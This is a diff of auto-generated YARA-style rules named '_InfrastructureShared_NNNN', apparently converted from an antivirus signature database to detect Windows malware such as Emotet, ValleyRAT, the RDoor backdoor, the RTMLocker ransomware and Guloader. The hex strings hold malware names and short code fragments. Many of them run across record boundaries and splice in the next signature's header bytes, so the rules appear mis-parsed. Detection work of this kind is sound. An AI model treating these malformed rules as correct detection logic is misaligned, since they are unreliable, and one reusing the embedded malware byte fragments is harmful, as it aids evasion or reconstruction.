5c 73 76 63 68 6f 73 74 2e 65 78 65 00 61 2b 00 73 76 63 68 6f 73 74 2e 6c 6f 67 00 00 } //18032 + condition: + ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*-32504+(#a_65_2 & 1)*18032) >=1 + +} +rule _InfrastructureShared_6858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 41 67 65 6e 74 2e 43 45 00 02 00 1f 03 fe 08 00 66 81 7d fe de 00 90 02 20 66 3d 01 80 0f 85 90 02 40 00 00 66 83 7d fe 26 7e 90 00 01 00 1d 00 72 25 5c 73 76 63 68 6f 73 74 2e 65 78 65 00 61 2b 00 } //18467 - $a_68_1 = {73 74 2e 6c 6f 67 00 00 78 6c 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 52 54 4d 4c 6f 63 6b 65 72 2e 41 00 01 00 16 03 6a 00 68 00 02 00 00 51 50 e8 90 01 04 0f a4 c2 09 c1 e0 09 90 00 01 00 27 03 2f 63 20 50 49 4e 47 20 2d 6e 20 35 20 31 32 37 2e 30 2e 90 } //30323 + $a_68_1 = {73 74 2e 6c 6f 67 00 00 78 6c 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 50 5a 44 21 4d 54 42 00 02 00 3c 03 0b 16 13 04 2b 29 06 2d 04 16 6a 2b 06 06 6f 90 01 01 00 00 0a 69 8d 3a 00 00 01 0b 06 2c 0c 06 07 16 07 8e 69 6f 90 01 01 } //30323 condition: ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*30323) >=1 } -rule _InfrastructureShared_6517{ +rule _InfrastructureShared_6859{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 50 5a 44 21 4d 54 42 00 02 00 3c 03 0b 16 13 04 2b 29 06 2d 04 16 6a 2b 06 06 6f 90 01 01 00 00 0a 69 8d 3a 00 00 01 0b 06 2c 0c 06 07 16 07 8e 69 6f 90 01 01 00 00 0a 26 11 04 17 58 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_6860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -67950,7 +71530,7 @@ rule _InfrastructureShared_6517{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*11777) >=2 } -rule _InfrastructureShared_6518{ +rule _InfrastructureShared_6861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -67961,7 +71541,7 @@ rule _InfrastructureShared_6518{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30018) >=2 } -rule _InfrastructureShared_6519{ +rule _InfrastructureShared_6862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -67971,7 +71551,7 @@ rule _InfrastructureShared_6519{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6520{ +rule _InfrastructureShared_6863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -67982,18 +71562,29 @@ rule _InfrastructureShared_6520{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111) >=2 } -rule _InfrastructureShared_6521{ +rule _InfrastructureShared_6864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 68 6f 72 70 69 65 78 2e 41 21 4d 54 42 00 01 00 21 00 8b cf 8b c7 c1 e9 05 03 4c 24 28 c1 e0 04 03 44 24 10 33 c8 8d 04 2f 6a 00 33 c8 6a 00 2b d9 ff 15 01 00 19 02 ff d3 56 57 ff 35 90 } //16675 - $a_d6_1 = {ff ff 83 c4 0c 46 6a 00 58 3b f5 90 00 00 00 78 6c 00 00 02 00 02 00 02 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 52 44 6f 6f 72 2e 41 21 64 68 61 00 01 00 26 03 83 f9 40 56 0f 82 90 01 02 00 00 8b 44 24 0c 66 81 38 4d 5a 0f 85 90 01 02 00 00 8b 70 3c 8d 96 f8 00 00 00 90 00 01 00 12 03 8b 03 83 fa 01 75 90 01 01 33 c6 35 b9 79 3c 9e 90 00 00 00 78 6c 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 49 6e 64 79 48 54 54 50 47 65 74 00 01 00 34 03 85 f6 75 14 b9 90 01 04 ba 90 01 04 b8 90 01 04 e8 90 01 04 6a 00 56 8b 45 0c 50 8b 45 08 50 8b 4d fc ba 90 01 04 8b c3 8b 18 ff 93 9c 00 00 00 33 c0 90 00 01 00 15 01 5c 50 72 6f 74 6f 63 6f 6c 73 5c 49 64 48 54 54 } //1025 + $a_d6_1 = {ff ff 83 c4 0c 46 6a 00 58 3b f5 90 00 00 00 78 6c 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 69 70 70 6c 65 43 72 75 73 68 2e 41 21 64 68 61 00 01 00 1f 01 44 65 74 65 63 74 65 64 20 43 74 72 6c 2b 56 20 28 50 61 73 74 65 20 61 74 74 65 6d 70 74 29 01 00 18 01 46 6f 63 75 73 65 64 20 77 69 6e 64 6f 77 20 74 69 74 6c 65 3a 20 25 53 00 00 78 6c 00 00 02 00 02 00 02 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 52 44 6f 6f 72 2e 41 21 64 68 61 00 01 00 26 03 83 f9 40 56 0f 82 90 01 02 00 00 8b 44 24 0c 66 81 38 4d 5a 0f 85 90 01 02 00 00 8b 70 3c 8d 96 f8 00 00 00 90 00 01 00 12 03 8b 03 83 fa 01 75 90 01 01 33 c6 35 b9 } //1025 condition: ((#a_46_0 & 1)*16675+(#a_d6_1 & 1)*1025) >=2 } -rule _InfrastructureShared_6522{ +rule _InfrastructureShared_6865{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 69 70 70 6c 65 43 72 75 73 68 2e 41 21 64 68 61 00 01 00 1f 01 44 65 74 65 63 74 65 64 20 43 74 72 6c 2b 56 20 28 50 61 73 74 65 20 61 74 74 65 6d 70 74 29 01 00 18 01 46 6f 63 75 73 65 } //16675 + $a_69_1 = {64 6f 77 20 74 69 74 6c 65 3a 20 25 53 00 00 78 6c 00 00 02 00 02 00 02 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 52 44 6f 6f 72 2e 41 21 64 68 61 00 01 00 26 03 83 f9 40 56 0f 82 90 01 02 00 00 8b 44 24 0c 66 81 38 4d 5a 0f 85 90 01 02 00 00 8b 70 3c 8d 96 f8 00 00 00 90 00 01 00 12 03 8b 03 83 fa 01 75 90 01 01 33 c6 35 } //8292 + condition: + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*8292) >=2 + +} +rule _InfrastructureShared_6866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -68004,7 +71595,7 @@ rule _InfrastructureShared_6522{ ((#a_46_0 & 1)*16675+(#a_fa_1 & 1)*907) >=2 } -rule _InfrastructureShared_6523{ +rule _InfrastructureShared_6867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -68015,7 +71606,7 @@ rule _InfrastructureShared_6523{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*18780) >=2 } -rule _InfrastructureShared_6524{ +rule _InfrastructureShared_6868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -68026,7 +71617,7 @@ rule _InfrastructureShared_6524{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*400) >=2 } -rule _InfrastructureShared_6525{ +rule _InfrastructureShared_6869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -68036,7 +71627,7 @@ rule _InfrastructureShared_6525{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_6526{ +rule _InfrastructureShared_6870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -68047,7 +71638,7 @@ rule _InfrastructureShared_6526{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*-490) >=2 } -rule _InfrastructureShared_6527{ +rule _InfrastructureShared_6871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -68058,7 +71649,7 @@ rule _InfrastructureShared_6527{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28279) >=2 } -rule _InfrastructureShared_6528{ +rule _InfrastructureShared_6872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -68069,7 +71660,7 @@ rule _InfrastructureShared_6528{ ((#a_46_0 & 1)*21283+(#a_c2_1 & 1)*19671) >=2 } -rule _InfrastructureShared_6529{ +rule _InfrastructureShared_6873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -68080,7 +71671,7 @@ rule _InfrastructureShared_6529{ ((#a_46_0 & 1)*21283+(#a_81_1 & 1)*1) >=2 } -rule _InfrastructureShared_6530{ +rule _InfrastructureShared_6874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -68091,7 +71682,7 @@ rule _InfrastructureShared_6530{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*791) >=2 } -rule _InfrastructureShared_6531{ +rule _InfrastructureShared_6875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -68101,7 +71692,7 @@ rule _InfrastructureShared_6531{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_6532{ +rule _InfrastructureShared_6876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -68113,7 +71704,7 @@ rule _InfrastructureShared_6532{ ((#a_46_0 & 1)*16675+(#a_e9_1 & 1)*0+(#a_03_2 & 1)*2) >=2 } -rule _InfrastructureShared_6533{ +rule _InfrastructureShared_6877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -68125,41 +71716,30 @@ rule _InfrastructureShared_6533{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*3588+(#a_6b_2 & 1)*28493) >=2 } -rule _InfrastructureShared_6534{ +rule _InfrastructureShared_6878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {59 32 56 3a 5f 62 72 5f 64 61 74 61 5f 72 65 70 6f 2f 4d 41 4c 5f 57 69 6e 6e 74 69 5f 42 52 5f 52 65 70 6f 72 74 5f 4d 6f 63 6b 69 6e 67 4a 61 79 00 02 00 0c 03 ff d8 ff e0 90 0a 06 00 c7 44 90 00 01 00 08 01 e9 ea eb ec ed ee } //16675 $a_00_1 = {0c } //-3857 - $a_ff_2 = {90 04 05 01 00 00 90 00 00 00 78 6c 00 00 02 00 02 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4d 61 73 73 57 61 74 65 72 6d 61 72 6b 2e 41 00 01 00 0e 81 01 4d 61 73 73 20 57 61 74 65 72 6d 61 72 6b 01 00 11 81 01 6d 61 73 73 77 61 74 65 72 6d 61 72 6b 2e 63 6f 6d 01 00 10 01 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 00 00 78 6c 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 4e 46 42 21 4d 54 42 00 02 00 27 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 05 b8 0e 00 00 60 33 00 90 01 04 3a 46 0e 00 00 e8 0c 00 90 00 01 00 10 01 } //-253 + $a_ff_2 = {90 04 05 01 00 00 90 00 00 00 78 6c 00 00 02 00 02 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4d 61 73 73 57 61 74 65 72 6d 61 72 6b 2e 41 00 01 00 0e 81 01 4d 61 73 73 20 57 61 74 65 72 6d 61 72 6b 01 00 11 81 01 6d 61 73 73 77 61 74 65 72 6d 61 72 6b 2e 63 6f 6d 01 00 10 01 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 00 00 78 6c 00 00 03 00 03 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 6e 64 6f 72 65 69 72 6f 2e 4e 46 21 4d 54 42 00 02 00 26 03 8d 40 00 8b 10 85 d2 74 1c c7 00 00 00 00 00 8b 4a f8 49 7c 10 f0 90 01 01 4a f8 75 0a 50 8d 42 f4 e8 4b c9 90 00 01 00 10 01 } //-253 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-3857+(#a_ff_2 & 1)*-253) >=2 } -rule _InfrastructureShared_6535{ +rule _InfrastructureShared_6879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4d 61 73 73 57 61 74 65 72 6d 61 72 6b 2e 41 00 01 00 0e 81 01 4d 61 73 73 20 57 61 74 65 72 6d 61 72 6b 01 00 11 81 01 6d 61 73 73 77 61 74 65 72 6d 61 72 6b 2e 63 6f 6d 01 00 10 01 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 00 00 78 6c 00 00 03 00 03 00 02 00 21 23 } //16675 - $a_3a_1 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 4e 46 42 21 4d 54 42 00 02 00 27 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 05 b8 0e 00 00 60 33 00 90 01 04 3a 46 0e 00 00 e8 0c } //19521 + $a_3a_1 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 6e 64 6f 72 65 69 72 6f 2e 4e 46 21 4d 54 42 00 02 00 26 03 8d 40 00 8b 10 85 d2 74 1c c7 00 00 00 00 00 8b 4a f8 49 7c 10 f0 90 01 01 4a f8 75 0a 50 8d 42 f4 e8 4b } //19539 condition: - ((#a_6c_0 & 1)*16675+(#a_3a_1 & 1)*19521) >=2 + ((#a_6c_0 & 1)*16675+(#a_3a_1 & 1)*19539) >=2 } -rule _InfrastructureShared_6536{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 4e 46 42 21 4d 54 42 00 02 00 27 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 05 b8 0e 00 00 60 33 00 90 01 04 3a 46 0e 00 00 e8 0c 00 90 00 01 00 } //16675 - $a_78_1 = {23 b6 a5 f3 19 43 f3 40 02 26 d1 11 c7 00 00 78 6c 00 00 03 00 03 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a } //272 - condition: - ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*272) >=3 - -} -rule _InfrastructureShared_6537{ +rule _InfrastructureShared_6880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -68170,7 +71750,7 @@ rule _InfrastructureShared_6537{ ((#a_46_0 & 1)*21283+(#a_6e_1 & 1)*272) >=3 } -rule _InfrastructureShared_6538{ +rule _InfrastructureShared_6881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68182,7 +71762,7 @@ rule _InfrastructureShared_6538{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*24430+(#a_47_2 & 1)*1792) >=3 } -rule _InfrastructureShared_6539{ +rule _InfrastructureShared_6882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68194,7 +71774,7 @@ rule _InfrastructureShared_6539{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_6c_2 & 1)*0) >=3 } -rule _InfrastructureShared_6540{ +rule _InfrastructureShared_6883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68206,7 +71786,7 @@ rule _InfrastructureShared_6540{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_6c_2 & 1)*0) >=3 } -rule _InfrastructureShared_6541{ +rule _InfrastructureShared_6884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68218,7 +71798,7 @@ rule _InfrastructureShared_6541{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*30821+(#a_00_2 & 1)*20308) >=3 } -rule _InfrastructureShared_6542{ +rule _InfrastructureShared_6885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68230,7 +71810,7 @@ rule _InfrastructureShared_6542{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*272+(#a_61_2 & 1)*26977) >=3 } -rule _InfrastructureShared_6543{ +rule _InfrastructureShared_6886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68242,7 +71822,7 @@ rule _InfrastructureShared_6543{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_01_2 & 1)*17411) >=3 } -rule _InfrastructureShared_6544{ +rule _InfrastructureShared_6887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68254,7 +71834,7 @@ rule _InfrastructureShared_6544{ ((#a_6c_0 & 1)*16675+(#a_52_1 & 1)*21320+(#a_61_2 & 1)*26983) >=3 } -rule _InfrastructureShared_6545{ +rule _InfrastructureShared_6888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68266,7 +71846,7 @@ rule _InfrastructureShared_6545{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26994+(#a_79_2 & 1)*27506) >=3 } -rule _InfrastructureShared_6546{ +rule _InfrastructureShared_6889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68278,31 +71858,43 @@ rule _InfrastructureShared_6546{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*30050+(#a_00_2 & 1)*30821) >=3 } -rule _InfrastructureShared_6547{ +rule _InfrastructureShared_6890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 4f 45 31 32 33 21 4d 54 42 00 01 00 1e 81 01 66 61 72 76 65 66 6f 74 6f 67 72 61 66 69 65 74 73 20 6e 65 64 73 74 72 79 67 65 72 6e 65 01 00 05 81 01 65 78 70 65 6c 01 00 10 81 01 73 70 65 65 63 } //18467 $a_73_1 = {6c 79 2e 65 78 65 00 00 78 6c 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 57 51 4d 31 32 33 21 4d 54 42 00 01 00 19 81 01 63 61 6e 6e 69 62 61 6c 69 73 6d 73 20 64 69 61 6c 65 63 74 69 63 69 73 6d 01 00 12 81 01 67 75 6c 64 75 72 65 20 66 61 6b 74 75 65 } //27752 - $a_73_2 = {00 08 81 01 70 72 6f 70 72 69 75 6d 00 00 78 6c 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 52 65 6c 65 70 6f 73 65 73 7a 2e 42 00 01 00 22 03 4c 8b 44 24 58 ba 02 00 00 00 48 89 84 24 10 01 00 00 90 01 08 48 89 c1 4c 89 84 24 18 01 00 00 90 00 01 00 09 01 4d 89 d3 49 31 d3 4d 85 da 01 } //27756 + $a_73_2 = {00 08 81 01 70 72 6f 70 72 69 75 6d 00 00 78 6c 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 5a 33 32 21 4d 54 42 00 01 00 0e 81 01 6d 6f 63 61 6d 62 69 71 75 69 73 6b 65 73 01 00 0c 81 01 63 65 65 6e 6e 61 63 75 65 6c 75 6d 01 00 1b 81 01 64 69 73 74 } //27756 condition: ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27752+(#a_73_2 & 1)*27756) >=3 } -rule _InfrastructureShared_6548{ +rule _InfrastructureShared_6891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 57 51 4d 31 32 33 21 4d 54 42 00 01 00 19 81 01 63 61 6e 6e 69 62 61 6c 69 73 6d 73 20 64 69 61 6c 65 63 74 69 63 69 73 6d 01 00 12 81 01 67 75 6c 64 75 72 65 20 66 61 6b 74 75 65 6c 6c 65 73 01 00 } //18467 $a_70_1 = {6f } //-32504 o - $a_75_2 = {00 00 78 6c 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 52 65 6c 65 70 6f 73 65 73 7a 2e 42 00 01 00 22 03 4c 8b 44 24 58 ba 02 00 00 00 48 89 84 24 10 01 00 00 90 01 08 48 89 c1 4c 89 84 24 18 01 00 00 90 00 01 00 09 01 4d 89 d3 49 31 d3 4d 85 da 01 00 14 03 43 80 7c 08 08 ef 90 01 06 49 89 d1 49 } //29296 + $a_75_2 = {00 00 78 6c 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 5a 33 32 21 4d 54 42 00 01 00 0e 81 01 6d 6f 63 61 6d 62 69 71 75 69 73 6b 65 73 01 00 0c 81 01 63 65 65 6e 6e 61 63 75 65 6c 75 6d 01 00 1b 81 01 64 69 73 74 61 6e 63 65 72 65 6b 6f 72 64 20 62 61 6e 64 61 } //29296 condition: ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*-32504+(#a_75_2 & 1)*29296) >=3 } -rule _InfrastructureShared_6549{ +rule _InfrastructureShared_6892{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 5a 33 32 21 4d 54 42 00 01 00 0e 81 01 6d 6f 63 61 6d 62 69 71 75 69 73 6b 65 73 01 00 0c 81 01 63 65 65 6e 6e 61 63 75 65 6c 75 6d 01 00 1b 81 01 64 69 73 74 61 6e 63 65 72 65 6b 6f 72 64 20 62 } //18467 + $a_61_1 = {65 72 65 6e 64 65 00 00 78 6c 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 52 65 6c 65 70 6f 73 65 73 7a 2e 42 00 01 00 22 03 4c 8b 44 24 58 ba 02 00 00 00 48 89 84 24 10 01 00 00 90 01 08 48 89 c1 4c 89 84 24 18 01 00 00 90 00 01 00 09 01 4d 89 d3 49 31 d3 4d 85 da 01 00 14 03 43 80 } //28257 + $a_ef_2 = {01 06 49 89 d1 49 31 c9 } //2172 + condition: + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28257+(#a_ef_2 & 1)*2172) >=3 + +} +rule _InfrastructureShared_6893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68314,7 +71906,7 @@ rule _InfrastructureShared_6549{ ((#a_46_0 & 1)*21283+(#a_ef_1 & 1)*2172+(#a_90_2 & 1)*-31412) >=3 } -rule _InfrastructureShared_6550{ +rule _InfrastructureShared_6894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68326,7 +71918,7 @@ rule _InfrastructureShared_6550{ ((#a_46_0 & 1)*21283+(#a_6b_1 & 1)*28488+(#a_6e_2 & 1)*25344) >=3 } -rule _InfrastructureShared_6551{ +rule _InfrastructureShared_6895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68338,7 +71930,7 @@ rule _InfrastructureShared_6551{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*25709+(#a_6e_2 & 1)*22330) >=3 } -rule _InfrastructureShared_6552{ +rule _InfrastructureShared_6896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68350,18 +71942,30 @@ rule _InfrastructureShared_6552{ ((#a_4c_0 & 1)*21539+(#a_30_1 & 1)*12591+(#a_32_2 & 1)*28265) >=3 } -rule _InfrastructureShared_6553{ +rule _InfrastructureShared_6897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 2e 47 54 00 01 00 22 00 51 00 51 00 51 00 51 00 51 00 71 00 41 00 2c 00 20 00 4e 00 65 00 74 00 73 00 63 00 61 00 70 00 65 00 01 00 05 01 31 2e 70 64 } //21539 - $a_6a_2 = {62 65 69 68 79 26 78 42 5e 74 55 6c 6d 46 00 00 00 78 6c 00 00 03 00 03 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 } //22329 + $a_6a_2 = {62 65 69 68 79 26 78 42 5e 74 55 6c 6d 46 00 00 00 78 6c 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 6c } //22329 condition: ((#a_4c_0 & 1)*21539+(#a_6a_2 & 1)*22329) >=3 } -rule _InfrastructureShared_6554{ +rule _InfrastructureShared_6898{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 6c 6c 65 79 52 41 54 2e 54 42 4b 21 4d 54 42 00 01 00 08 01 79 65 68 62 65 32 35 33 01 00 0d 01 5c 54 65 6c 65 67 72 61 6d 2e 6c 6e 6b 01 00 1e 01 43 3a 5c 55 73 } //21539 + $a_5c_1 = {75 62 6c 69 63 5c 44 65 73 6b 74 6f 70 5c 51 51 2e 6c 6e 6b 00 00 78 6c 00 00 03 00 03 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 1a 01 fb 12 fc 0d 6c 6c ff 80 0c 00 fc a0 00 0c 6c 6c ff 6c 5c ff e0 1c 5c 01 00 15 01 00 11 00 53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 00 01 00 12 01 57 } //29285 + $a_65_2 = {72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 00 78 6c 00 00 03 00 03 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 5f 76 62 69 6e 6a 65 63 74 00 02 00 0f 03 f3 c3 00 fc 0d 90 02 09 f3 cc 00 fc 0d 90 00 01 00 0a 01 f5 04 00 00 00 f5 58 59 59 59 01 00 1b 03 f4 58 fc 0d 90 02 11 f4 59 fc 0d 90 02 11 f4 59 fc 0d 90 } //26994 + condition: + ((#a_4c_0 & 1)*21539+(#a_5c_1 & 1)*29285+(#a_65_2 & 1)*26994) >=3 + +} +rule _InfrastructureShared_6899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68373,7 +71977,7 @@ rule _InfrastructureShared_6554{ ((#a_5f_0 & 1)*25635+(#a_61_1 & 1)*30821+(#a_3a_2 & 1)*19521) >=3 } -rule _InfrastructureShared_6555{ +rule _InfrastructureShared_6900{ 